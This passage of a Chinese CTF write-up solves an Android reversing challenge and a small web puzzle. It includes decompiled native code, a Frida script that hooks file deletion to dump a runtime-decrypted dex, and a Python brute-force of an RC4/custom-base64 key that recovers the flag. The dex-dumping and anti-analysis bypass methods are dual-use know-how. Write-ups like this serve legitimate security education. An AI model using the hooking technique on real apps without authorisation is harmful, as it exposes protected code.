  v9 = sub_1510(a1, (__int64)"com.nobody.zundujiadu");
  v8 = sub_1510(a1, (__int64)"encode");
  __memcpy_chk(v17, &unk_3950, 43LL, 43LL);                     //密文
  sub_E20((__int64)v17, v14);                                   //RC4
  v7 = sub_1540(a1, 0x2Bu);
  sub_1570(a1, v7, 0, 0x2Bu, (__int64)v17);
  v6 = sub_15B0(a1, v13, v11, a3, v10, v9, v8, v7);
  v4 = (const char *)sub_1360(a1, v6, (__int64)&v16);
  __android_log_print(4LL, "Native", "Result is %s\nTry decrypto it, you will get flag! But realy?", v4);     //输出
  return __readfsqword(0x28u);
}
```

观察发现加密方式是典型的 RC4 加密，密文也已知，为[0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30, 0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83, 0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD, 0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B, 0x46, 0x5E, 0x95]，但密钥却未知，结合 java 层的功能和对 check 的调用，猜测程序的目的是通过点击图片来生成的 string 对密文进行解密并输出日志，没有明显的判断对错的结构，遍历 0.o、o.0 和 The length is too large 开头的长度 36 位以内的密钥却没有得到任

何一组可打印字符的明文，考虑是对字符串进行了某种处理，此外，启动 adb 查看 logcat 日志时发现，点击图片后输出的日志中的 result 是经过了 base64 加密的，且还是换表 base64，所有字符串都以 3 结尾，至此得到大致的程序逻辑：通过点击图片产生的密钥，经过某种处理后用作 RC4 的密钥对密文进行加密，再经过未知的换表 base64 输出加密结果，查看 Dexcall 类：

```
package com.nobody.zunjia;
import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

/* loaded from: classes3.dex */
public class DexCall {
    static native File copyDexFromAssets(Context context, String str, File file);
    static {
        System.loadLibrary("zunjia");
        System.loadLibrary("check");
    }
    public static Object callDexMethod(Context context, String dexFileName, String className, String methodName, Object
input) {
        File dexDir = new File(context.getCacheDir(), "dex");
        if (dexDir.mkdir() || dexDir.setWritable(true)) {
            File dexFile = copyDexFromAssets(context, dexFileName, dexDir);
            try {
                if (dexFile.exists() && dexFile.setReadOnly()) {
                    ClassLoader classLoader = context.getClassLoader();
                    DexClassLoader dexClassLoader = new DexClassLoader(dexFile.getAbsolutePath(),
dexDir.getAbsolutePath(), null, classLoader);
                    Class<?> targetClass = dexClassLoader.loadClass(className);
                    Constructor<?> constructor = targetClass.getConstructor(new Class[0]);
                    constructor.setAccessible(true);
                    Object instance = constructor.newInstance(new Object[0]);
                    Method targetMethod = targetClass.getMethod(methodName, input.getClass());
                    Object result = targetMethod.invoke(instance, input);
                    dexFile.delete();
                    return result;
                }
            } catch (Exception e) {
                if (dexFile.exists()) {
                    dexFile.delete();
                }
                e.printStackTrace();
            }
        }
        return null;
    }
}
```

结合 values 中的 string.xml，callDexMethod 方法将尝试从 zunjia.dex 文件中加载 com.nobody.zundujiadu 类，并查找名为 "encode" 的方法，使用传入的字符串 s 作为参数调用该方法，并将结果返回，但却没有找到 encode 方法，查看 zunjia.dex 发现居然是未知二进制文件，没有检测到 dex 格式，查看 libzunjia.so，列出所有关键函数：

```
sub_0FF0  .text 0000000000000FF0  0000025A 000000B8      R   .   .   .   .   .   B   T   .
sub_1250  .text 0000000000001250  00000116 00000048      R   .   .   .   .   .   B   T   .
sub_1370  .text 0000000000001370  0000015A 00000048      R   .   .   .   .   .   B   T   .
sub_14D0  .text 00000000000014D0  00000038 0000001A      R   .   .   .   .   .   B   T   .
sub_1510  .text 0000000000001510  00000086 00000030      R   .   .   .   .   .   B   T   .
sub_15A0  .text 00000000000015A0  00000031 00000012      R   .   .   .   .   .   B   T   .
sub_15E0  .text 00000000000015E0  00000284 000000C8      R   .   .   .   .   .   B   T   .
sub_1870  .text 0000000000001870  000003DA 000000B8      R   .   .   .   .   .   B   T   .
sub_1C50  .text 0000000000001C50  00000021 0000000C      R   .   .   .   .   .   B   T   .
sub_1C80  .text 0000000000001C80  000000A7 00000038      R   .   .   .   .   .   B   T   .
sub_1D30  .text 0000000000001D30  0000012F 00000058      R   .   .   .   .   .   B   .   .
sub_1E60  .text 0000000000001E60  00000183 00000078      R   .   .   .   .   .   B   .   .
sub_1FF0  .text 0000000000001FF0  00000119 00000088      R   .   .   .   .   .   B   .   .
sub_2110  .text 0000000000002110  00000119 00000088      R   .   .   .   .   .   B   T   .
Java_co...  .text 0000000000002230  000006A2 00000988      R   .   .   .   .   .   B   T   .
```

其中浅蓝和深蓝色的是两组相近的函数（浅蓝色是静态分析看上去被调用的函数），查看其中的加载方法（红色）：

```
__int64 __fastcall Java_com_nobody_zunjia_DexCall_copyDexFromAssets(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5)
{
  int v5; // ecx
```

```
int v6; // r8d
int v7; // r9d
int v8; // ecx
int v9; // r8d
int v10; // r9d
int *v11; // rax
char *v12; // rax
int v13; // r8d
int v14; // r9d
int v16; // [rsp+14h] [rbp-96Ch]
unsigned int v17; // [rsp+24h] [rbp-95Ch]
__int64 v18; // [rsp+28h] [rbp-958h]
__int64 v19; // [rsp+30h] [rbp-950h]
int v20; // [rsp+38h] [rbp-948h]
void *ptr; // [rsp+48h] [rbp-938h]
int v22; // [rsp+54h] [rbp-92Ch]
unsigned int fd; // [rsp+5Ch] [rbp-924h]
__int64 v24; // [rsp+60h] [rbp-920h]
const char *v25; // [rsp+68h] [rbp-918h]
__int64 v26; // [rsp+70h] [rbp-910h]
__int64 v27; // [rsp+78h] [rbp-908h]
int v28; // [rsp+80h] [rbp-900h]
__int64 v29; // [rsp+88h] [rbp-8F8h]
__int64 v30; // [rsp+90h] [rbp-8F0h]
__int64 v31; // [rsp+98h] [rbp-8E8h]
int v32; // [rsp+A0h] [rbp-8E0h]
__int64 v33; // [rsp+A8h] [rbp-8D8h]
int v36; // [rsp+C0h] [rbp-8C0h]
unsigned int v38; // [rsp+164h] [rbp-81Ch]
char v39[32]; // [rsp+170h] [rbp-810h] BYREF
int v40; // [rsp+190h] [rbp-7F0h]
char s[1032]; // [rsp+570h] [rbp-410h] BYREF
unsigned __int64 v42; // [rsp+978h] [rbp-8h]

v42 = __readfsqword(0x28u);
v36 = a3;
v33 = sub_28E0(a1, a3);
v32 = sub_2910(a1, v33, "getAssets", "()Landroid/content/res/AssetManager;");
v31 = sub_2950(a1, v36, v32, v5, v6, v7);
v30 = AAssetManager_fromJava(a1, v31);
v29 = sub_28E0(a1, a5);
v28 = sub_2910(a1, v29, "getAbsolutePath", "()Ljava/lang/String;");
v27 = sub_2950(a1, a5, v28, v8, v9, v10);
v26 = sub_2A40(a1, v27, 0LL);
v25 = (const char *)sub_2A40(a1, a4, 0LL);
memset(s, 0, 0x400uLL);
sub_2A80((unsigned int)s, 1024, 1024, (unsigned int)"%s/%s", v26, (_DWORD)v25);
v24 = AAssetManager_open(v30, v25, 2LL);        //打开 dex
if ( v24 )
{
  fd = open(s, 66, 420LL);
  if ( fd == -1 )
  {
    v17 = *(_DWORD *)__errno();
    v11 = (int *)__errno();
    v12 = strerror(*v11);
    __android_log_print(6LL, "Native", "Failed to open target file: %s, errno: %d, error message: %s", s, v17, v12);
    AAsset_close(v24);
    sub_2B60(a1, a4, v25);
    sub_2B60(a1, v27, v26);
    return 0LL;
  }
  else
  {
    while ( 1 )
    {
      v22 = AAsset_read(v24, v39, 1024LL);                    //一次读取 1024 字节
      if ( v22 <= 0 )
        break;
      if ( v22 % 8 )                                          //8 字节解密一次
        v16 = (v22 + 8 - v22 % 8) / 8;
      else
        v16 = v22 / 8;
      ptr = malloc(8 * v16);
      sub_2110(v39, (unsigned int)v22, ptr, (unsigned int)(8 * v16));   //解密函数?
      __write_chk(fd, ptr, 8 * v16, -1LL);
```

```
            free(ptr);
        }
        close(fd);
        v38 = open(s, 66, 420LL);
        __read_chk(v38, v39, 1024LL, 1024LL);
        ftruncate(v38, v40);
        close(v38);
        AAsset_close(v24);
        v20 = sub_2910(a1, v29, "<init>", "(Ljava/lang/String;)V");
        v19 = sub_2BA0(a1, (__int64)s);
        v18 = sub_2BD0(a1, v29, v20, v19, v13, v14);
        sub_2B60(a1, a4, v25);
        sub_2B60(a1, v27, v26);
        sub_2CC0(a1, v19);
        return v18;
      }
    }
    else
    {
      __android_log_print(6LL, "Native", "Failed to open asset file: %s", v25);
      sub_2B60(a1, a4, v25);
      sub_2B60(a1, v27, v26);
      return 0LL;
    }
}
```

查看加密函数 sub_2110 以及一个相似的版本 sub_1FF0：

```
unsigned __int64 __fastcall sub_2110(__int64 a1, int a2, __int64 a3, int a4)
{
  int i; // [rsp+4h] [rbp-7Ch]
  __int64 v8[2]; // [rsp+70h] [rbp-10h] BYREF

  v8[1] = __readfsqword(0x28u);
  __memset_chk(a3, 0LL, a4, -1LL);
  __memcpy_chk(a3, a1, a2, -1LL);
  for ( i = 0; i < a4 / 8; ++i )
  {
    sub_15E0(*(_QWORD *)(a3 + 8LL * i), (__int64) "SevenIsBeautiful", v8);          //解密函数？和密钥
    *(_QWORD *)(a3 + 8LL * i) = v8[0];
  }
  return __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_1FF0(__int64 a1, int a2, __int64 a3, int a4)
{
  int i; // [rsp+4h] [rbp-7Ch]
  __int64 v8[2]; // [rsp+70h] [rbp-10h] BYREF

  v8[1] = __readfsqword(0x28u);
  __memset_chk(a3, 0LL, a4, -1LL);
  __memcpy_chk(a3, a1, a2, -1LL);
  for ( i = 0; i < a4 / 8; ++i )
  {
    sub_FF0(*(_QWORD *)(a3 + 8LL * i), (__int64) "SevenIsBeautiful", v8);          //解密函数？和密钥
    *(_QWORD *)(a3 + 8LL * i) = v8[0];
  }
  return __readfsqword(0x28u);
}
```

其中 sub_2110 所对应的加密过程会在 sub_1E60 陷入死循环（有一个 while v12>1 但却没有更新 v12 的循环），而 sub_1FF0 则没有这一步骤，并且 sub_1FF0 也没有任何 xref，猜测可能存在反调试，sub_1FF0 即为正确的加密，由于复现这个加密过于麻烦，直接使用 frida 动调，在 DexCall 方法 delete 掉解密的 zunjia.dex 前 dump 这个 dex：

```python
import frida
import sys
import os

def on_message(message, data):
    if message['type'] == 'send':
        payload = message['payload']
        if payload.get('type') == 'dex_content':
            dex_content = bytes(payload.get('content'))
            output_path = "E:/CTF/zunjia.dex"
            with open(output_path, 'wb') as f:
                f.write(dex_content)
            print(f"Dex dumped to {os.path.abspath(output_path)}")

# JavaScript 注入代码
jscode = """
Java.perform(function() {
    var File = Java.use('java.io.File');
    var FileInputStream = Java.use('java.io.FileInputStream');
    var ByteArrayOutputStream = Java.use('java.io.ByteArrayOutputStream');
```

```
    File.delete.overload().implementation = function() {
        var path = this.getAbsolutePath();
        if (path.endsWith('zunjia.dex')) {
            console.log('Detected deletion of Dex file: ' + path);
            if (!this.exists()) {
                console.error("File does not exist: " + path);
                return this.delete();
            }
            if (!this.canRead()) {
                console.error("No read permission for the file: " + path);
                return this.delete();
            }
            try {
                var fis = FileInputStream.$new(this);
                console.log("File opened successfully.");
                var bos = ByteArrayOutputStream.$new();
                var buffer = Java.array('byte', Array(1024).fill(0));
                var bytesRead;
                while ((bytesRead = fis.read(buffer)) != -1) {
                    bos.write(buffer, 0, bytesRead);
                }
                fis.close();
                var byteArray = bos.toByteArray();
                var resultArray = [];
                for (var i = 0; i < byteArray.length; i++) {
                    resultArray.push(byteArray[i] & 0xFF);
                }
                bos.close();
                send({type: "dex_content", content: resultArray});
            } catch (e) {
                console.error("Exception occurred while reading file: " + e);
                console.error("Stack trace: " + (e.stack ? e.stack : "No stack trace available"));
                return this.delete();
            }
        }
        return this.delete();
    };
});
"""

def main(target_process):
    # 通过包名启动并附加到应用
    device = frida.get_usb_device()
    pid = device.spawn([target_process])
    session = device.attach(pid)

    script = session.create_script(jscode)
    script.on('message', on_message)
    print('[*] Attaching from the process.')
    script.load()
    # 继续应用的执行
    device.resume(pid)
    try:
        sys.stdin.read()
    except KeyboardInterrupt:
        print("[*] Detaching from the process.")
        session.detach()

if __name__ == "__main__":
    process = frida.get_usb_device(-1).enumerate_processes()
    print(process)
    if len(sys.argv) != 2:
        print("Usage: python dump_dex.py <package_name>")
        sys.exit(1)
    target_process = sys.argv[1]
    main(target_process)
```

运行后点击图片获得转储出来的 dex 文件，反编译查看 encode 方法：

```
package com.nobody;
/* loaded from: E:\CTF\zunjia.dex */
public class zundujiadu {
    private static final String CUSTOM_ALPHABET = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5";
    private static final int[] DECODE_TABLE = new int[128];
    public zundujiadu() {
        for (int i = 0; i < DECODE_TABLE.length; i++) {
            DECODE_TABLE[i] = -1;
        }
        for (int i2 = 0; i2 < CUSTOM_ALPHABET.length(); i2++) {
            DECODE_TABLE[CUSTOM_ALPHABET.charAt(i2)] = i2;
        }
    }

    public String encode(String str) {
        int i;
        byte b;
        byte b2;
        if (str == null) {
            return null;
        }

        byte[] bytes = str.getBytes();
```

```
        int length = bytes.length;
        for (int i2 = 0; i2 < length; i2++) {
            bytes[i2] = (byte) (bytes[i2] ^ i2);
        }

        byte[] bArr = new byte[((length + 2) / 3) * 4];
        int i3 = 0;
        int i4 = 0;
        while (i3 < length) {
            int i5 = i3 + 1;
            byte b3 = bytes[i3];
            if (i5 < length) {
                i = i5 + 1;
                b = bytes[i5];
            } else {
                i = i5;
                b = 0;
            }
            if (i < length) {
                i++;
                b2 = bytes[i];
            } else {
                b2 = 0;
            }
            int i6 = ((b3 & 255) << 16) | ((b & 255) << 8) | (b2 & 255);
            int i7 = i4 + 1;
            bArr[i4] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 18) & 63);
            int i8 = i7 + 1;
            bArr[i7] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 12) & 63);
            int i9 = i8 + 1;
            bArr[i8] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 6) & 63);
            i4 = i9 + 1;
            bArr[i9] = (byte) CUSTOM_ALPHABET.charAt(i6 & 63);
            i3 = i;
        }
        return new String(bArr);
    }

    public String encode(byte[] bArr) {
        int i;
        byte b;
        byte b2;
        if (bArr == null) {
            return null;
        }
        int length = bArr.length;
        for (int i2 = 0; i2 < length; i2++) {
            bArr[i2] = (byte) (bArr[i2] ^ i2);
        }
        byte[] bArr2 = new byte[((length + 2) / 3) * 4];
        int i3 = 0;
        int i4 = 0;
        while (i3 < length) {
            int i5 = i3 + 1;
            byte b3 = bArr[i3];
            if (i5 < length) {
                i = i5 + 1;
                b = bArr[i5];
            } else {
                i = i5;
                b = 0;
            }
            if (i < length) {
                i++;
                b2 = bArr[i];
            } else {
                b2 = 0;
            }
            int i6 = ((b3 & 255) << 16) | ((b & 255) << 8) | (b2 & 255);
            int i7 = i4 + 1;
            bArr2[i4] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 18) & 63);
            int i8 = i7 + 1;
            bArr2[i7] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 12) & 63);
            int i9 = i8 + 1;
            bArr2[i8] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 6) & 63);
            i4 = i9 + 1;
            bArr2[i9] = (byte) CUSTOM_ALPHABET.charAt(i6 & 63);
            i3 = i;
        }
        return new String(bArr2);
    }
```

```
    public String decode(String str) {
        if (str == null) {
            return null;
        }
        String replace = str.replace("=", "");
        int length = replace.length();
        if (length % 4 == 0) {
            int i = (length * 3) / 4;
            byte[] bArr = new byte[i];
            int i2 = 0;
            int i3 = 0;
            while (i2 < length) {
                int i4 = 0;
                int i5 = 0;
                while (i4 < 4) {
                    int i6 = i2 + 1;
                    char charAt = replace.charAt(i2);
                    if (charAt < 0 || charAt >= DECODE_TABLE.length || DECODE_TABLE[charAt] == -1) {
                        throw new IllegalArgumentException("输入的 Base64 字符串包含非法字符: " + charAt);
                    }
                    i5 |= DECODE_TABLE[charAt] << ((3 - i4) * 6);
                    i4++;
                    i2 = i6;
                }
                int i7 = i3 + 1;
                bArr[i3] = (byte) ((i5 >> 16) & 255);
                if (i7 < i) {
                    bArr[i7] = (byte) ((i5 >> 8) & 255);
                    i7++;
                }
                if (i7 < i) {
                    i3 = i7 + 1;
                    bArr[i7] = (byte) (i5 & 255);
                } else {
                    i3 = i7;
                }
            }
            for (int i8 = 0; i8 < i3; i8++) {

                bArr[i8] = (byte) (bArr[i8] ^ i8);
            }
            return new String(bArr, 0, i3);
        }
        throw new IllegalArgumentException("输入的 Base64 字符串长度不是 4 的倍数");
    }
}
```

找到了这个自定义 base64 表：`3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5`，同时还发现了一个简单异或加密，测试发现是把生成的 base64 字符串带入和上文所给的密文进行 RC4 解密，构造 python 脚本实现相同效果，并爆破枚举 0.o 与 o.0 构成的字符串：

```
import base64
import itertools

class Zundujiadu:
    CUSTOM_ALPHABET = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
    STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    DECODE_TABLE = {char: index for index, char in enumerate(CUSTOM_ALPHABET)}

    def encode(self, data):
        if isinstance(data, str):
            data = data.encode('utf-8')
        xor_data = bytes([byte ^ i for i, byte in enumerate(data)])
        encoded = self.base64_encode(xor_data)
        return ''.join(self.CUSTOM_ALPHABET[self.STANDARD_ALPHABET.index(c)] for c in encoded), xor_data

    def decode(self, data):
        translated = ''.join(self.STANDARD_ALPHABET[self.DECODE_TABLE[char]]
                             for char in data if char in self.DECODE_TABLE)
        decoded = self.base64_decode(translated)
        return bytes([byte ^ i for i, byte in enumerate(decoded)]).decode('utf-8', errors='replace')

    @staticmethod
    def base64_encode(data):
        missing_padding = len(data) % 3
        if missing_padding:
            data += b'=' * (3 - missing_padding)
        return base64.b64encode(data).decode('utf-8').rstrip('=')

    @staticmethod
    def base64_decode(data):
        data = data + '=' * (-len(data) % 4)
        return base64.b64decode(data)



def rc4_encrypt(key, plaintext):
```

```
    def ksa(key):
        s_box = list(range(256))
        j = 0
        for i in range(256):
            j = (j + s_box[i] + ord(key[i % len(key)])) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
        return s_box

    def prga(s_box, length):
        i = 0
        j = 0
        keystream = []
        for _ in range(length):
            i = (i + 1) % 256
            j = (j + s_box[i]) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
            k = s_box[(s_box[i] + s_box[j]) % 256]
            keystream.append(k)
        return keystream

    s_box = ksa(key)
    keystream = prga(s_box, len(plaintext))
    ciphertext = bytearray([p ^ k for p, k in zip(plaintext, keystream)])
    hex_array = ', '.join(f'0x{byte:02X}' for byte in ciphertext)
    return hex_array, ciphertext



if __name__ == "__main__":
    codec = Zundujiadu()
    encflag =
b"\x7a\xc7\xc7\x94\x51\x82\xf5\x99\x0c\x30\xc8\xcd\x97\xfe\x3d\xd2\xae\x0e\xba\x83\x59\x87\xbb\xc6\x35\xe1\x8c\x59\xef\xad\xfa\x94
\x74\xd3\x42\x27\x98\x77\x54\x3b\x46\x5e\x95"

    with open("E:/CTF/output.txt", "w") as file:
        for pattern in itertools.product(('0.o', 'o.0'), repeat=12):
            original_string = ''.join(pattern)[:36]
            encoded_string, xored_string = codec.encode(original_string)
            decrypted_hex_array = rc4_encrypt(encoded_string, encflag)

            file.write(f"Original: {original_string}\n")
            file.write(f"Encoded: {encoded_string}, {xored_string}\n")
            file.write(f"Decrypted Hex Array: [{decrypted_hex_array[0]}]\n")
            file.write(f"Text: [{decrypted_hex_array[1]}]\n\n")

    print("爆破结束.")
```

查找 txt 中的 hgame，得到密钥与 flag：

Original: o.00.oo.00.oo.0o.00.o0.o0.o0.o0.oo.0

Encoded: lsCsRs06kc/yTc=/isREiIyXNZvBOdXyPInvPtOsQZKUdWqd,
b'o/23*ji)89$dc#>`>!"={%8x(7u+2r.1ON\x0c\x13'

Decrypted Hex Array: [0x68, 0x67, 0x61, 0x6D, 0x65, 0x7B, 0x34, 0x61, 0x66, 0x31, 0x35, 0x33, 0x62, 0x39, 0x2D, 0x65, 0x64, 0x33, 0x65, 0x2D, 0x34, 0x32, 0x30, 0x62, 0x2D, 0x39, 0x37, 0x38, 0x63, 0x2D, 0x65, 0x65, 0x66, 0x66, 0x37, 0x32, 0x33, 0x31, 0x38, 0x62, 0x34, 0x39, 0x7D]

Text: [bytearray(b'hgame{4af153b9-ed3e-420b-978c-eeff72318b49}')]

Web：

Level 24 Pacman：

在 index.js 找到两个 base64：aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==和 aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=，分别对应 haepaiemkspretgm{rtc_ae_efc}和 haeu4epca_4trgm{_r_amnmse}，解栅栏密码得到 hgame{pratice_makes_perfect}和 hgame{u_4re_pacman_m4ster}，其中第二个是 flag.